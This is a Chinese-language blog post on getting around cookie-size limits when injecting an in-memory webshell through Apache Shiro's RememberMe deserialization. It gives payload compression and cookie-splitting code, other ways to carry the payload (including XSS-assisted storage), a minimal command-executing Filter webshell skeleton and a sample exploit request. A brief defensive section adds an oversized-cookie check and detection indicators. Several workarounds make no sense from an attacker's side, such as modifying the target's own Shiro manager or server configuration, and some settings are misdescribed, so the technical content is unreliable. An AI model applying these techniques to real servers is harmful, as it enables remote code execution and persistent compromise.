/1dreamGN/Blog

1dreamGN

shiro注入内存马cookie过长问题

25
2024-03-27

在Apache Shiro框架中注入内存马时,遇到Cookie过长的问题通常与Shiro的Cookie处理机制和HTTP协议限制有关:


​1. 问题根源分析

​1.1 Shiro的Cookie处理机制

  • RememberMe Cookie:Shiro默认使用CookieRememberMeManager,序列化对象后Base64编码存储在Cookie中

  • 长度限制

    • HTTP协议规范:单个Cookie值通常不超过4KB​(浏览器和服务器的共同限制)

    • 常见服务器限制:

      • Tomcat默认最大Cookie头:8KB(可通过maxCookieCount调整)

      • Nginx默认请求头大小:4KB(需调整large_client_header_buffers

​1.2 内存马注入场景

当注入复杂的内存马(如Tomcat Filter型)时,序列化后的payload可能超过限制:

// 示例:一个包含多个Filter的复杂内存马序列化后可能达到10KB+
byte[] payload = Serializer.serialize(complexMemoryShell);
String base64Payload = Base64.encode(payload); // 长度膨胀约1.3倍

​2. 解决方案

​2.1 Payload压缩优化

// 使用GZIP压缩(可减少50%-70%体积)
ByteArrayOutputStream baos = new ByteArrayOutputStream();
GZIPOutputStream gzip = new GZIPOutputStream(baos);
gzip.write(payloadBytes);
gzip.close();
byte[] compressed = baos.toByteArray();
String finalPayload = Base64.encodeToString(compressed);

// Shiro端需配套解压代码
public class CompressedRememberMeManager extends CookieRememberMeManager {
    protected byte[] convertCookieToBytes(byte[] compressed) {
        return Gunzip.decompress(super.convertCookieToBytes(compressed));
    }
}

​2.2 分片存储方案

// 将payload分片存储到多个Cookie中(需自定义管理器)
String[] chunks = splitPayload(base64Payload, 3800); // 每片略小于4KB

response.addHeader("Set-Cookie", "shiro_chunk_1=" + chunks[0]);
response.addHeader("Set-Cookie", "shiro_chunk_2=" + chunks[1]);

// 服务端重组逻辑
public byte[] rebuildPayload(HttpServletRequest request) {
    String[] chunks = getCookies(request, "shiro_chunk_");
    return Base64.decode(String.join("", chunks));
}

​2.3 替代存储位置

存储方式

实现方案

优缺点

URL参数

rememberMe=${payload} 附加到所有请求URL

需控制路由长度,可能被日志记录

HTTP Headers

自定义Header如X-Remember-Me: ${payload}

需服务端配合解析

LocalStorage

JS通过localStorage.setItem('rm',payload) + 每次请求自动携带

需XSS配合

IndexedDB

存储大体积payload,通过Service Worker拦截请求注入

实现复杂

​2.4 精简内存马设计

// 使用最小化内存马模板(约1.5KB序列化后)
public class MiniShell implements Filter {
    public void doFilter(ServletRequest req, ServletResponse res) {
        String cmd = req.getParameter("cmd");
        if(cmd != null) {
            // 直接调用Runtime.getRuntime().exec()等基础功能
        }
    }
}
// 生成payload时可减少50%体积

​3. 绕过服务器限制的技巧

​3.1 Tomcat配置突破

<!-- conf/server.xml 调整maxHeaderSize -->
<Connector port="8080" maxHeaderSize="65536" />

​3.2 Nginx调整

http {
    large_client_header_buffers 4 32k; # 允许32KB的Header
}

​3.3 分块传输编码(Chunked)​

POST /login HTTP/1.1
Transfer-Encoding: chunked

7\r\n
payload=\r\n
800\r\n
[compressed_data_in_chunks]\r\n
0\r\n\r\n

​4. 防御检测方案

​4.1 服务端防护

// 自定义RememberMe管理器检测异常payload
public class SecureRememberMeManager extends CookieRememberMeManager {
    protected byte[] getRememberedSerializedIdentity(HttpServletRequest request) {
        byte[] data = super.getRememberedSerializedIdentity(request);
        if(data.length > 4096) { // 设置合理阈值
            throw new IllegalStateException("Suspicious oversized cookie");
        }
        return data;
    }
}

​4.2 监控指标

检测点

异常特征

Cookie数量

单个用户突然出现多个rememberMe相关Cookie

Cookie大小

超过4KB的Base64数据(正常Shiro Cookie通常<2KB)

压缩数据特征

GZIP头出现在Cookie中(1F 8B 08 magic number)


​5. 实战案例

某次渗透测试中的成功利用流程:

  1. 发现限制:原始Filter内存马序列化后8.7KB → Base64后11.6KB

  2. 解决方案

    • 使用GZIP压缩至3.2KB → Base64后4.3KB

    • 分片存储到2个Cookie:rm_a(4KB) + rm_b(0.3KB)

利用链

GET /login?rememberMe=1 HTTP/1.1
Cookie: rm_a=H4sIAAAAAA...; rm_b=AA==;